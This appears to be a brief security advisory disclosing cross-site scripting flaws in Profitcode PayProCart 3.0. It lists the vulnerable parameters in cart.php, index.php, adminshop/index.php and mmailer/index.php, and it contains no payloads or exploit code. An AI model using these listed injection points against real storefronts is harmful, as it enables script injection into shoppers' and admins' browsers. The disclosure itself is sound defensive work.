found in a internal test wen documented latest vulnerabilities in
Profitcode PayProCart 3.0

PayProCart contains a flaw that allows a remote cross site scripting
attack.This flaw exists because the application does not validate
'username','chckoutaction','ckprvd' and 'pageID' upon submission
to the 'cart.php' and 'index.php' script.This could allow a user to create
a specially crafted URL that would execute arbitrary code in a user's
browser within the trust relationship between the browser and the
server,leading to a loss of integrity.

Also in adminshop secction we found some flaws in 'hdoc','modID',
'taskID','proMod' variables, upon submission to the
'adminshop/index.php' script , 'mmactionComm' variable,upon
submission to the 'mmailer/index.php' script but it can only
exploiting for a autenticated admin.

Other scripts can be vulnerables to same attack style.
